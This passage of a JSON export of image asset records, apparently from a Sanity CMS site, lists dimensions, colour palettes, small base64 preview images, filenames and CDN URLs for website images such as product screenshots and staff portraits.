ackground":"#2d2f48","foreground":"#fff","population":0.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#704421","foreground":"#fff","population":0.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6a6fa0","foreground":"#fff","population":1.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2b394","foreground":"#000","population":0.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e58166","foreground":"#000","population":0.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a6fa0","foreground":"#fff","population":1.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4662b","foreground":"#fff","population":0.66,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c2aed94652237bf3fb4ce4a66f4b4c97a8d7f6f3-672x484.png","path":"images/sczeoy4w/production/c2aed94652237bf3fb4ce4a66f4b4c97a8d7f6f3-672x484.png","sha1hash":"c2aed94652237bf3fb4ce4a66f4b4c97a8d7f6f3","size":246407,"uploadId":"UU4Nxo8er8LQfK8oXc1PlQ5o9W7IIjvJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/c2aed94652237bf3fb4ce4a66f4b4c97a8d7f6f3-672x484.png"} {"_createdAt":"2023-06-23T12:55:31Z","_id":"image-c2cf1e69d67a16334c466c1b8394a4ad5ae4418f-1782x364-jpg","_rev":"yn3ffGOj7FCOSHAOSRIyOa","_type":"sanity.imageAsset","_updatedAt":"2023-06-23T12:56:30Z","altText":null,"assetId":"c2cf1e69d67a16334c466c1b8394a4ad5ae4418f","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.895604395604396,"height":364,"width":1782},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAEABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAIECP/EABwQAAICAgMAAAAAAAAAAAAAAAABAhEDEhMhUf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDSOCcuZK+i+krv0ACGqiqQAA//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434343","foreground":"#fff","population":0.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c68","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":2.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":2.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4fc","foreground":"#000","population":0.37,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a8a8c","foreground":"#fff","population":0.92,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3636c8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"pgvector_face_first_table.jpg","path":"images/sczeoy4w/production/c2cf1e69d67a16334c466c1b8394a4ad5ae4418f-1782x364.jpg","sha1hash":"c2cf1e69d67a16334c466c1b8394a4ad5ae4418f","size":28257,"title":null,"uploadId":"ktX07LoGU4Io0e1e0VI7DrdlBlvZNYsz","url":"https://cdn.sanity.io/images/sczeoy4w/production/c2cf1e69d67a16334c466c1b8394a4ad5ae4418f-1782x364.jpg"} {"_createdAt":"2023-03-15T12:51:36Z","_id":"image-c2d68e8a7c59f4374962e623ed0feff4511d6146-800x800-jpg","_rev":"FyKybxTQXmO9mB4Bp10lxe","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T12:51:36Z","assetId":"c2d68e8a7c59f4374962e623ed0feff4511d6146","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAQGBwj/xAAgEAACAgICAgMAAAAAAAAAAAABAwIEAAUREgYhBzFB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwQC/8QAGhEAAwEAAwAAAAAAAAAAAAAAAAECAxEhIv/aAAwDAQACEQMRAD8A6B+RNrY1Wh70+wa1gX2iPcQfs5VdBtTrbtaS7DnixOMGQZyfv9y2efypT8esrt21V5gdoGUgD2H1xma6a+pSq9l7JBKiJSLPzj9wdHw0ynGVUM3DGRaN6tcqLfWetipgESjIEYxiY498as2fLPmPZje2XWVobMrWZnpHg+vWSPl3c26Qdr60orryHBAHvGMxS9IaeoZmOv8AJ93RrBFPaW0qB5EIMIAxjGIwT//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#493b36","foreground":"#fff","population":0.9,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#150c04","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#927568","foreground":"#fff","population":2.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0b2ae","foreground":"#000","population":2.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e990a5","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#927568","foreground":"#fff","population":2.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d67a28","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"elina-finnilä.jpg","path":"images/sczeoy4w/production/c2d68e8a7c59f4374962e623ed0feff4511d6146-800x800.jpg","sha1hash":"c2d68e8a7c59f4374962e623ed0feff4511d6146","size":115538,"uploadId":"2xwfzlaPUnthpOaJiAoMEfp8NN9B54lx","url":"https://cdn.sanity.io/images/sczeoy4w/production/c2d68e8a7c59f4374962e623ed0feff4511d6146-800x800.jpg"} {"_createdAt":"2022-12-08T13:44:26Z","_id":"image-c2d74f339bf3f64f7f2b35b8e22cb6f54a373396-512x512-jpg","_rev":"cwf6PSmkIH3MXtFHyrvn16","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:44:26Z","assetId":"c2d74f339bf3f64f7f2b35b8e22cb6f54a373396","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"esLfRKtR-Bt7n4~qofOrbvaKx^WBkCaeaf%MNGo1a}X8tlrrNGjZof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAcGBf/EACcQAAICAgECBAcAAAAAAAAAAAECAwQABREGIQcSMUETFSMyUWHh/8QAGAEAAwEBAAAAAAAAAAAAAAAABAUGAQP/xAApEQABAgIHCQEAAAAAAAAAAAABAAIDEQQUQWFxkdEFEhMVIjEzUlPB/9oADAMBAAIRAxEAPwCvdW9a/KenzboUrFidz8NFVefIfYt+sxGh8XLWmikTrGGQh1LRTRryvPspzD9Qdb7mvq2n0gjFOM/XQnkuv8zOQ+Jdq1WbVtqq0tS1GOJJ1BKt+RgvXIPPZPYbGNJou6C4kY52Xqor452O5l0zDk8r2P2+2MnUu4uRiONoYAUQL3xglZvVE3YxInwGZnVcDTRm/asVZ5JBCYyvlU8djk7sFqewuLA7AQsQnJ9O+MYxheKWCnKe48xe62Z/V2Y9tckjVnmJPHqcYxmiEz1C51+lfV2Z1X//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292c3b","foreground":"#fff","population":0.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#740e14","foreground":"#fff","population":6.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d80617","foreground":"#fff","population":9.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bec0c9","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c6c","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#53748f","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d80617","foreground":"#fff","population":9.95,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"lukas-vlcek.jpg","path":"images/sczeoy4w/production/c2d74f339bf3f64f7f2b35b8e22cb6f54a373396-512x512.jpg","sha1hash":"c2d74f339bf3f64f7f2b35b8e22cb6f54a373396","size":67321,"uploadId":"ww24GTxx3LA8IgCrfsJUo2BxqgD7bzjJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/c2d74f339bf3f64f7f2b35b8e22cb6f54a373396-512x512.jpg"} {"_createdAt":"2023-09-15T11:53:44Z","_id":"image-c2dd7efe0b92fbf3f0931b6d6a246e7935549ca4-2898x1672-png","_rev":"kCpVRB4k8RYeMqmK07ETur","_type":"sanity.imageAsset","_updatedAt":"2023-09-15T11:53:44Z","assetId":"c2dd7efe0b92fbf3f0931b6d6a246e7935549ca4","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7332535885167464,"height":1672,"width":2898},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABNElEQVQokZWQW26DMBBFWYlfjHnYwcbYJEATaIgJJJT9b6eCtFLVRpVydD/n3CtN0L231+swfGVs/c2dvC7r3DptC6EyAMAYo2cEl2u/LMs8z+M0+nFq/KK7D90Mtm6LQyVzA3FCGSOE/K0Izv58n+/TbfLe95eh6W+mncxpOHT9vu10VSd5zkUKMWfACMOYIkwQ2nqCuqmPx2NVVWVZOlfa8qCs2xW5ckZakxjNlQQZhwJYzAjHBDAO8eojFFhrjTFSyiRJ4o0ojngEPOJhxOm6RvAajOkjP5aV1plScrcTQiRpGn3DOQcASunzX20EQuk1WSalTNMUABhjdOPpk9APgkjlXBsQMnzs/Hv9W4a8CN2eZpqEgF4xV5lbB9UbsyWJU0zpS34Aq9ywwpIoRpS+tPwJar5klunLYQYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#365d32","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#145454","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#547795","foreground":"#fff","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2cfcc","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#99b9df","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#547795","foreground":"#fff","population":0.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c598e","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"next-js-settings.png","path":"images/sczeoy4w/production/c2dd7efe0b92fbf3f0931b6d6a246e7935549ca4-2898x1672.png","sha1hash":"c2dd7efe0b92fbf3f0931b6d6a246e7935549ca4","size":172900,"uploadId":"vyk66sm1xPa8FsZr49UYXVhL48aZRkGu","url":"https://cdn.sanity.io/images/sczeoy4w/production/c2dd7efe0b92fbf3f0931b6d6a246e7935549ca4-2898x1672.png"} {"_createdAt":"2024-05-08T12:49:39Z","_id":"image-c303fef4890e4adca7f0bcaa30f1741d4bebfaa5-2484x598-png","_rev":"mdEU5AcDfd24wlw26FKYMw","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:49:39Z","assetId":"c303fef4890e4adca7f0bcaa30f1741d4bebfaa5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DCSF;ORPDjsoV]~qRQM{aLjI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.153846153846154,"height":598,"width":2484},"exif":{"PixelXDimension":2484,"PixelYDimension":598,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAyUlEQVQYlY2QO3OEMAyE/f9/XprUIXNALhzYevkV2IwgxRVXpPjGGq2061GY3gbcPmZMXwvWSBAzWMkoraL/dOzHgeMF+76jtY5aG9QaiBtYOsL4PmD8nDHfv/HYNpAySBiJGWKKUuq59Iz3VDOIGEQClgLRBtWOcBtGzNMdy7JiiwRiRUx81SQQsT/yE3ZqMRJSYrBkqHpIQ3isEduWLoENZgWqF2YVOb/GNZ/1181E/IcNgUjPJDf1VB+u1W/zP0rtp5Hf0E1/ATlVgrFM4CWGAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343838","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#882880","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b4b2d4","foreground":"#000","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b2d4","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc74cc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac4ca4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c42c74","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"remove-aiven-for-kafka.png","path":"images/sczeoy4w/production/c303fef4890e4adca7f0bcaa30f1741d4bebfaa5-2484x598.png","sha1hash":"c303fef4890e4adca7f0bcaa30f1741d4bebfaa5","size":175063,"uploadId":"m8VN7ig3Po5G4eW7B61bsiUrB7wt7od7","url":"https://cdn.sanity.io/images/sczeoy4w/production/c303fef4890e4adca7f0bcaa30f1741d4bebfaa5-2484x598.png"} {"_createdAt":"2024-04-24T06:36:18Z","_id":"image-c30d87f2f9aa208e01544ebaa1016df01372ed02-1126x426-png","_rev":"5IhFiMlEPind7xYcJkannB","_type":"sanity.imageAsset","_updatedAt":"2024-04-24T06:36:18Z","assetId":"c30d87f2f9aa208e01544ebaa1016df01372ed02","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9RC}Wof?Hog9v?^R5wIXSI:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.643192488262911,"height":426,"width":1126},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAA7DAAAOwwHHb6hkAAABXElEQVQokU2Ry44TMRRE8/8fwI8gIbGD5WxAAs0sGEgyk8Rtt9+Pdl7dOcieMGJRurJUqntueaXdmZ1IrLeGg4hYf8b6CzZcCXnpMuHKThXWO8/mNSDUhIszodwI+fY+fV5YSX1EqsyoEtYUnDsymooaS39bV3kaCp+fHQ/biLAnfJqJZSFNt3fFe+hKjBVlKj6cCemCCxfUODEIj5YWqQJfXxIfHgMfNwURZ3KFVOkz39VC3wJVZWiEOqPNhHEnlK5ImTA6oe3ED3nk06byIM6MaSE3qkZYlk76pv8DZWJUAa0Tpp3bAsfSlxg7IUVh+6gZ1oEYL0R3xL44zD5gTOmefmHrUJlTpwrNmK74eEXbE1pPndDawrg2vH55Rn7fE23FC8/h2x/E0w4tQ/d5XwlpZmXjfC/5X7FL/8EW3BY0jUNm83PP4bcmhDNWF/a/Dgxb3clinolp7oR/AaeAEoM0K0VLAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#524866","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b61e77","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1cad9","foreground":"#000","population":2.03,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1cad9","foreground":"#000","population":2.03,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67e8fb","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5892a5","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#12afdd","foreground":"#fff","population":0.25,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"notjustsearch-insight-retail-ebook.png","path":"images/sczeoy4w/production/c30d87f2f9aa208e01544ebaa1016df01372ed02-1126x426.png","sha1hash":"c30d87f2f9aa208e01544ebaa1016df01372ed02","size":79092,"uploadId":"1fiZOepusr8HDbbWtY9OEajPfFvGK2ub","url":"https://cdn.sanity.io/images/sczeoy4w/production/c30d87f2f9aa208e01544ebaa1016df01372ed02-1126x426.png"} {"_createdAt":"2023-09-12T08:06:43Z","_id":"image-c32cc9a4a8c1a7c7315a5209a6dd2665a2790d29-320x80-webp","_rev":"jBJgpqpGruZvOgVMUIiDbI","_type":"sanity.imageAsset","_updatedAt":"2023-09-12T08:06:43Z","assetId":"c32cc9a4a8c1a7c7315a5209a6dd2665a2790d29","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"DA88tUugpvpbpbugkpQUpHkW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4,"height":80,"width":320},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAPoAAAD6AG1e1JrAAABJUlEQVQYlVWQPUsbYBhFM1at8aMUnRzNJg4O4iKIDjbnVfALow5Cq0hQZ7sUtC7iULCDo7nvpF2cnAQxmNxnc+kv6CYO/Q2SkMXhTgfO5d4CkQ+IXCfyfyI/pNAaoX5C3YRGUmgqhaZT5BLWENZoskrJGsT6iFXEuYjVk6yuAtYjTf2jqResZ0InhCYJzRGqEjoitENoCWsNa7+TLUIVQuuEFrHmWmkJX8uN2t8v9as/5UbtGuuU0AKhQ6xfWD8J7WLtYf3A+RzrmNAZ1gXR5lXcLv/eEt7T1F35qXZZbtR+09S3FBrHmsfa7DRPYM3iXMF5o8NWsL5iLWPNYK1ibReI3LLftudaN1gpWcVk9WJ96vz0Aec+nD/z7rs2H0jWcLLGsEpvFjXN8mk9iIMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#265044","foreground":"#fff","population":0.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c7c54","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#78b7a4","foreground":"#000","population":0.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#78b7a4","foreground":"#000","population":0.93,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#46dcaa","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4eac90","foreground":"#fff","population":0.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34c396","foreground":"#fff","population":0.5,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"logo-retina-colored.webp","path":"images/sczeoy4w/production/c32cc9a4a8c1a7c7315a5209a6dd2665a2790d29-320x80.webp","sha1hash":"c32cc9a4a8c1a7c7315a5209a6dd2665a2790d29","size":2416,"uploadId":"8zTsqVbqkR5ZzAJK2vjBnJM8DfMScozj","url":"https://cdn.sanity.io/images/sczeoy4w/production/c32cc9a4a8c1a7c7315a5209a6dd2665a2790d29-320x80.webp"} {"_createdAt":"2022-11-17T13:39:02Z","_id":"image-c32f2118786c4e4df2572d0d37cc467fc10a64d1-1999x1143-png","_rev":"PJutSls1mvFq6xuKvwsADB","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T13:39:02Z","assetId":"c32f2118786c4e4df2572d0d37cc467fc10a64d1","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7489063867016623,"height":1143,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABRUlEQVQokZ2SyU7EMBBE/f9fiMSBQwBndeJ9i12oTSJlhhGDaKlkOeq8Xsqsn0Z89gP4MEFsEto6aOehrYdxHj4ExBix7ztqraCgk76JdQUfxqZpXiClBFtWgXlZmihBKgVtDKx1cN7De48QAnLON0C6K6XA+x7d+0c7hRBgWmsoJaEJpBWMMXDONUhKCXvOrbtSyg2QRDnTItDxAXyaWzNMqQ3btsJoCe8MgreI3iIFh5Ij6p6AkoFaiARCnmAqZJzHqgyksa0A60aBNz6Bz6JBg1VNyWuU5FBzQN0jarnd4alSSgOfU7BXvuHlY0U3K2hrEYNDDB45BZQ9oZZ8wH6O/CjYKCT6ecO8KihtDkO+2z+rnvu7Au87rYcYmUBukeW0VCnJHP1/YEqpvamrmrvHu7vXFfhw5Ec//aanwOtIf4lneV/pxl1maRQPKwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#545454","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3170a2","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3170a2","foreground":"#fff","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7c8ce","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cbcf4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5084ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#49a2e9","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image2.png","path":"images/sczeoy4w/production/c32f2118786c4e4df2572d0d37cc467fc10a64d1-1999x1143.png","sha1hash":"c32f2118786c4e4df2572d0d37cc467fc10a64d1","size":318729,"uploadId":"Kua2SnntBdPPO5IQFWsmfHMeR4e1X7xa","url":"https://cdn.sanity.io/images/sczeoy4w/production/c32f2118786c4e4df2572d0d37cc467fc10a64d1-1999x1143.png"} {"_createdAt":"2022-09-07T11:39:45Z","_id":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_rev":"CK1sLU2mnwa3vmbYW9GJfF","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:45Z","assetId":"c368f51b75e646afb9e988f72627e49f7a0bc862","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC6ElEQVQ4jWVVz0vUcRB96y/0JoKadjAUMztIaolBhHvQUrrVdglKdz5rdQos0Fte0k5dCvJSIC5Egp6UtD/u8+LNZ7YSD8MOM+8z35k3PxasA1wBaEA2gOuud7COfhpmaFih4WmI9Bn31dHBRnnncgfgKiKYHBUP1saEASZUaXhLw142HNNwlg1nLPpe+KqOfYk21oC8BuR5RPRKZGUYY0KDhmY2/KbhJw2fadgNkX4YvqZjE8bYQAcjVqvMNg9m2KDhlIYjGjZpWKLhBusYomGYCTeyYSkbtiLz03gzSkNbriM4K2U2AnCQDY89QB2dPPiLQX7uv505YZgF06ThhIZEw4D6ASe3cNaMzJ7Q0JfXUOEqKjmhncm5VQbtfIEKDRUm9NFQC171tqrSEd0Uyee5lHmThikabtMw611Njml1fTZ8U4HdzIZzlZ4T+hVwJjqnBizSMJkN72j4RsN3Gt5nw7REumy5+ISZFM/ZcEjDVxqmEbN1HB2cCH7WafiRCwV6OM6E8dBl+xGYYTWKyd/KvowYWM3YLhOG2EA7DSM03HdeSve7mdAdejV8I85p8gR2I0ZNY3MxYPJ56g+uJmjo4WuAr9zek4ttNgtTtmroQsBLJZcuitcPNOzQ8JCGa5Jc9J3wzVCTkPwD/0oOstUUEbvIOrpouE7Ddqyc7J8k0mMFtwPTpUHn/03x1MvYaJ22nGiVmXCLhjc07NPwK2Q/bPKJ06vamni7ofEqg12IbkbpNSb0ct3tg9kwR8OjEOmDvruG3guDnbBQBnvNiR2g/V29ZmyLMu10np4D+RngW6J1LL7apdVbL6uHWK2xXBb9JAhWKQ9izq646FDIVnzHgd1oHQclVw7rnN9ElSGHvqYvixeR3TpfH2n4Ejb5DhybMKq3uXW+eA/Iq0DcM50xlV+NbNU5ZavOSo6ybMkbsOBYHQ29VYy5ljIfh1blS5RtOQgaqeXgSyJ92n3C1Mul9rd3y1/AH3eUl8IHXTi3AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c6c7c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aa2104","foreground":"#fff","population":2.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f16618","foreground":"#fff","population":4.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#903908","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7ac81","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad6d5a","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f16618","foreground":"#fff","population":4.86,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-face-content.svg","path":"images/sczeoy4w/production/c368f51b75e646afb9e988f72627e49f7a0bc862-24x24.svg","sha1hash":"c368f51b75e646afb9e988f72627e49f7a0bc862","size":374,"uploadId":"iv2HEKjhFW0DAnB0vBQlAyIeoLdERwcD","url":"https://cdn.sanity.io/images/sczeoy4w/production/c368f51b75e646afb9e988f72627e49f7a0bc862-24x24.svg"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-c39d9b29746a88e7d67da02b0c5b37b43d21a385-400x247-png","_rev":"CK1sLU2mnwa3vmbYWEaVsV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:13:59Z","assetId":"c39d9b29746a88e7d67da02b0c5b37b43d21a385","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V5PQQw0000000K00.7?bNHt6My%M-:xus:_NIpE1NGWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6194331983805668,"height":247,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACMElEQVQokX2S22sTQRSH99+QvgiiL4p4acEKVSgifRIR8UX/Ch8EbWowLUmt8cFLk7irtCreMQFFURuKxQdffJFaW7VaSQ1p9jLZ7CW7s+7OT2aSgAltBz4OzOU7c86MdFp+jDPKE5zMPsCp3EOkX7/HwkoJuq5D0zqprKlY+FXG3HwJn3+ugZgWXMdhjuPAcZzIsW0qnbhxD8ev38XQ1Ts4dm0aE69msbRaRr1uwbJtOI4rommaMEgNy2UdH5cq+FoyYDkNUN9nvu/D9/3I